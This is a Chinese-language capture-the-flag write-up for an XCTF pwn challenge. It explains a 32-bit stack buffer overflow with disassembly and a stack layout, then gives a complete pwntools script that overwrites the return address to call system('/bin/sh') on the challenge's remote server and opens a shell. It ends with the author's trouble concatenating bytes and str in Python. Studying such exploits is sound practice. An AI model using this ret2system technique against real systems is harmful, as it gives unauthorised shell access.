CTF:第四题
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055&page=1
浪费了非常多的时间,主要是用在了python 里面 bytes 和 string 拼接的问题上了
后面再说吧。
题目非常简单,一个标准的缓冲区溢出,缓冲区长度0x88,但是接受输入0x100字节,很棒,
怎么解决呢,怎么解决呢,其实目前能想到的办法就是,调用个system 然后拿shell,
至于怎么调用,当然是 system("/bin/sh")
理论上就是这样了
那么具体怎么做呢。
方法也很简单,看汇编
缓冲区溢出之后,我们劫持控制流,回到上面去调用那个system,
system 函数需要一个参数才能启动一个shell,
好办,那我们就给他一个参数,
程序内存里面也有一个
也就是说,我劫持控制流调用system,然后让内存里面参数是这个就可以了。
当前程序
没有保护,好棒,而且是32位的,好棒
32位程序相比64位程序,最大的优点就是通过栈内存传参,所以我们只要构造好调用栈就可以了
具体调用栈如何构造,可以这样
大概就是这样,或者画好看点
位置 | 名字 | 长度 |
函数内 | char | 0x88 |
函数内 | 老ebp | 4 |
函数内 | 返回地址 | 4 |
函数外 | 参数1 | 4 |
函数外 | 参数2 | 4 |
大概就是这样,我们需要构造的结构就是类似这样的,
首先要填充0x88个任意char,
之后填写4个字节覆盖老的ebp,
再精心构造一个返回地址,让当前函数返回的时候可以返回到指定的位置继续调用system函数
之后这个位置,应该是system函数的第一个参数,这里可能不太好理解,为什么啊,写代码来说明
1 .text:0804844B ; __unwind { 2 .text:0804844B push ebp 3 .text:0804844C mov ebp, esp 4 .text:0804844E sub esp, 88h 5 .text:08048454 sub esp, 0Ch 6 .text:08048457 push offset command ; "echo Input:" 7 .text:0804845C call _system 8 .text:08048461 add esp, 10h 9 .text:08048464 sub esp, 4 10 .text:08048467 push 100h ; nbytes 11 .text:0804846C lea eax, [ebp+buf] 12 .text:08048472 push eax ; buf 13 .text:08048473 push 0 ; fd 14 .text:08048475 call _read 15 .text:0804847A add esp, 10h 16 .text:0804847D nop 17 .text:0804847E leave 18 .text:0804847F retn 19 .text:0804847F ; } // starts at 804844B
目前代码,是这样的,我们构造好数据,并且执行了之后,
相当于上面汇编代码里面,在第17行和18行之间,插入了如下代码
1 pop eax 2 jmp 0804845c
第一句的意思是,把老的返回地址给冲掉,
第二句的意思是,跳转到system 那行代码,重新执行,
而重新执行的是什么,就是在老的返回地址外面的一个值,那个才是参数,
也就是说,在函数外,参数1的位置,是system 函数要重新执行的参数,我们需要把这个参数1 改成 /bin/sh 的地址。
好了,知道怎么做了,开始构造数据,并且上报
代码如下
1 from pwn import * 2 3 #a = process("./24ac28ef281b4b6caab44d6d52b17491") 4 a = remote('124.126.19.106', 48829) 5 r = a.recvuntil(":") 6 print(r) 7 8 str = "A" * 0x88 + 'a' * 0x4 + "\x5c\x84\x04\x08" + "\x24\xA0\x04\x08" 9 print(str) 10 a.send(str) 11 12 a.interactive()
一共分四部分,
第一部分是 0x88 个字符,填充buffer,
第二部分是 4个字符,填充ebp原始值,
第三部分就是返回地址了,要填充system 的地址,
第四部分是字符串参数地址。
结果就是这样,拿到数据了。
好了,后续的问题,为什么这个东西扯了那么久,
因为后面两个数据的拼接,其实很费劲,
最开始的时候我用的 p32() 拼接,但是提示bytes 不能和 str 拼接,
我就疯了,疯狂想办法解决这个问题,但是就是解决不了。。。
哎,希望我以后也不要遇到这个问题了。
到目前,其实我仍然还是解决不了。